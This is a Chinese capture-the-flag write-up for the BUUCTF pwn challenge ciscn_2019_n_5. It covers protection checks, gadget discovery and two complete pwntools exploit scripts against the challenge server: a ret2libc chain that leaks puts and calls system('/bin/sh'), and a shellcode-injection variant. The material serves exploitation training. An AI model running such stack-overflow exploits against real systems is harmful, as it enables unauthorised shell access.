当前位置: 首页 > news >正文

buuctf中的ciscn_2019_n_5

首先checksec检查保护状态:

-64位程序

-几乎没有保护,但是是NX保护未知,后续需要验证

接下来使用IDA反汇编工具进行分析:

没发现任何后门函数,那么只能是注入shellcode或泄露libc,这里发现第一个read可以输入数据到name变量中,然后再在下面的gets函数利用栈溢出漏洞跳转到name函数地址来执行shellcode

想要注入shellcode这里得来验证一下name内存地址的权限:

-拿到name在bss段的地址

在gdb中输入vmmap 0x601080:

发现这段内存地址只有读写功能,不可执行,shellcode注入不可用

那么只剩libc泄露可用了,这里需要用到rdi和ret的地址,在linux终端输入以下指令:

ROPgadget --binary pwn --only "pop|ret"

ret地址:0x00000000004004c9,rdi地址:0x0000000000400713,其中ret用于栈对齐,rdi用于构造ROP链调用函数

然后再在IDA中拿到main函数地址:0x400636

基本信息拿完后就可以开始写exp攻击脚本了:

由于这里shellcode注入不可用,使用第一个read读取内容到name那里的那一行代码已经没有用处了,随便输入一个字符都行,接下来就是进行两次栈溢出,第一次将puts的地址泄露出来,配合LibcSearcher找到libc库,算出libc基址,然后得到system和/bin/sh地址,第二次栈溢出在注入system函数就可以拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 main_addr = 0x400636 rdi_addr = 0x400713 ret_addr = 0x4004c9 elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter(b'What do you want to say to me?\n',payload) puts_addr = u64(io.recvline().strip().ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.recvuntil(b'What do you want to say to me?\n') io.sendline(payload) io.interactive()

这是运行结果:

这里需要手动选择libc库,64位程序就选择64位的libc库,这里有可能会选到不适配的libc,多选几次就可用了,最后拿到shell后输入cat flag拿到flag

最后,如果变量name的那段内存地址有执行权限的话exp会简单得多,这是代码:

基本思路就是在name的内存地址中注入shellcode,然后再跳转到变量name那段内存地址中执行shellcode

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 aim_addr = 0x601080 shellcode = asm(shellcraft.sh()) io.recvuntil(b'tell me your name\n') io.sendline(shellcode) io.recvuntil(b'What do you want to say to me?\n') payload = b'a'*40 + p64(aim_addr) io.sendline(payload) io.interactive()
http://www.cnnetsun.cn/news/132293.html

相关文章:

  • 手机号码归属地查询库:5分钟快速上手实战指南
  • SKYNET Steam模拟器:零网络依赖的终极局域网游戏解决方案
  • 淋巴瘤化疗越做越糟?偶遇 “抗癌老乡”,4年活成生活达人!
  • 小白也能懂:PostConstruct注解图解指南
  • 快速搭建NAS导航面板:Sun-Panel终极配置指南
  • QR码修复终极指南:让损坏的二维码重获新生
  • 报警管理升级!这款智能安全系统,让隐患无处可藏
  • 基于SpringBoot前后端分离的宠物服务平台
  • 工业散热风扇 24 V 三相 BLDC 驱动:如何用单 N 沟 40 V SGT 把 Rdson 做到 0.75 mΩ
  • DashPlayer:英语学习者的智能视频伴侣,让语言习得事半功倍
  • 指纹特征提取实战:FingerJetFXOSE从入门到精通
  • PHP自定义函数完全指南
  • 南京大学学位论文LaTeX模板:学术写作的智能助手
  • 突破60帧限制:QtScrcpy高刷投屏性能优化全攻略
  • DataHub数据质量监控实战:从基础配置到企业级应用
  • OpenWrt Docker管理插件:可视化容器部署完整教程
  • labelCloud 终极指南:快速掌握3D点云标注的完整教程
  • 高效管理3D打印丝材:Spoolman开源工具让库存追踪变简单
  • 3分钟掌握Android设备实时控制:py-scrcpy-client完全指南
  • Gitee:本土化项目管理软件的崛起与未来
  • 3分钟上手BiliLocal:让本地视频也能享受B站弹幕乐趣![特殊字符]
  • Claude Code界面美化:3个步骤让你的AI助手颜值飙升
  • 用R分析时间序列(time series)数据
  • 水利工程前沿国际期刊精选
  • 25 万亿美元超级风口下,中国智造如何执掌机器人时代
  • 【游戏AI突破性进展】:基于GNN的群体Agent协同决策模型实战解析
  • 中国汽车、无人机、机器人行业近十年
  • 【强烈推荐】大模型微调实战指南:从LLaMA Factory到Ollama,打造你的专属模型
  • 激光雷达与摄像头不同步?深度解析多传感器时间同步校准难题
  • UE5卡通渲染革命:MooaToon带你实现电影级三渲二效果